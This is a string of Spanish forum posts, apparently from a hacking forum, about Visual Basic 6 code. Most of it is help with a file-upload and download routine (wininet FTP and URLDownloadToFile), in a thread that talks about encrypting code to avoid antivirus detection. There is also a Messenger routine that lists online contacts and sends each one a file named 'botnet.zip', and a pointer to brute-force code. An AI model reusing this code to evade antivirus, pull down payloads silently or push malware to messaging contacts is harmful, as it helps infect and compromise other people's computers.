Mensajes

o de descargarlos con esa api no me gusta por q suele cantar bastante al AV

Se cifra...

Pero kien es ese? o que es eso?  huh

Es un user de este foro que destaca por sus dotes de vb,pero ace 1 año que no se conecta

No se donde tienes el error pero creo k es en la ruta...
de todas formas te voy a dejar el codigo que utilizo yo que es mucho mas corto y funciona bien:

Código [Seleccionar] Expandir

Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_DEFAULT_FTP_PORT = 21
Const INTERNET_SERVICE_FTP = 1
Const PassiveConnection As Boolean = True
Const INTERNET_FLAG_PASSIVE = &H8000000
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0

Private Sub Command1_Click()
On Error Resume Next                'editarlo
Dim hConnection, hOpen, Num As Long
'Subir el archivo a un ftp
hOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
DoEvents
hConnection = InternetConnect(hOpen, "ftp.usuarios.lycos.es", INTERNET_DEFAULT_FTP_PORT, "USER", "PASSWORD", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
DoEvents
FtpSetCurrentDirectory hConnection, "\"
DoEvents
FtpPutFile hConnection, "ruta del archivo que kieres k se suba", "nombre del archivo en el ftp", FTP_TRANSFER_TYPE_UNKNOWN, 0
DoEvents
InternetCloseHandle hConnection
InternetCloseHandle hOpen
DoEvents
End Sub

Eso lo utilizo para subir archivos..
para descargar archivos lo hago asi:

Código [Seleccionar] Expandir

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Command2_Click()
URLDownloadToFile 0, "http://usuarios.lycos.es/TU USER/C:\ruta y archivo a descargar", "ruta y nombre donde se guardara el archivo", 0, 0
End Sub


Tan facil como utilizar la api URLDownloadToFile xD

te dejo eso por si te sirve de algo de todas formas ya te digo que en tu codigo creo k esta mal algo de la ruta de tu ftp

sip.. ademas deberias dejar el codigo pa k lo podamos ver,si no no se puede adivinar en lo que fallas 

hola,estoy utilizando la api del msn para enviar un archivo a un contacto del msn utilizando el objeto sendfile de este modo:

Messenger.SendFile List1.Text, "C:\archivo.zip"

pero me da este error:

El objeto no admite esta accion

y no se porque  he encontrado ejemplos en google y me salta el mismo error

dejo el codigo entero de todo lo que he echo por si es necesario:
he agregado dos botones y un listbox.y las referencias:
Messenger API type library
Messenger private type library

Código [Seleccionar] Expandir

Public WithEvents MsgrUIA As MessengerAPI.Messenger
Public MsgrContacts As MessengerAPI.IMessengerContacts
Public MsgrServices As MessengerAPI.IMessengerServices
Public MsgrContact As MessengerAPI.IMessengerContact
Public mWindow As MessengerAPI.IMessengerWindow
Dim WithEvents MSNApi As MessengerAPI.Messenger
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Const WM_NCLBUTTONDOWN = &HA1

Private Sub Command1_Click()
On Error Resume Next
On Error Resume Next
contactosenlinea List1, MISTATUS_ONLINE
contactosenlinea List1, MISTATUS_AWAY
contactosenlinea List1, MISTATUS_BUSY
contactosenlinea List1, MISTATUS_BE_RIGHT_BACK
contactosenlinea List1, MISTATUS_ON_THE_PHONE
If List1.ListCount = 0 Then
List1.AddItem "No hay contactos En Linea"
End If
End Sub

Private Sub Command2_Click()
Messenger.SendFile List1.Text, "C:\botnet.zip"


End Sub

Private Sub Form_Load()
On Error Resume Next
Set Msn = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Set MSNApi = New MessengerAPI.Messenger
End Sub
Private Sub contactosenlinea(brList As ListBox, pStatus As MISTATUS)
Dim Contacto As IMessengerContact

For Each Contacto In MSNApi.MyContacts
If Contacto.Status = pStatus Then
brList.AddItem Contacto.SigninName
End If
Next
End Sub


Aver si alguien sabe como corregir este error y asi puedo enviar archivos al msn
gracias x todo

El foro libre es para  comentar aquello que no sepas en que subforo dejarlo

Eso no era en Dudas generales??   

http://foro.elhacker.net/resistance07.php/topic,81913.0.html

El codigo que hay en ese enlace lo probe yo mismo,funciona bien pero como ya te ha dicho EON la fuerza bruta en VB es muy lenta,es mucho mejor en C,yo mismo lo comprobe ejecutando un codigo en C de fuerza bruta y otro en VB y el de C era muchimo mas rapido...

Menuda tonteria...
Recuerdo que el tipo ese...el lamercillo...elgranoscarin tenia un programa exactamente = 

Meg - 18  Nomviembre

Fue ayer 
Felicidades Sedna

xxDDD le vas a kitar la ilusion pobrecillo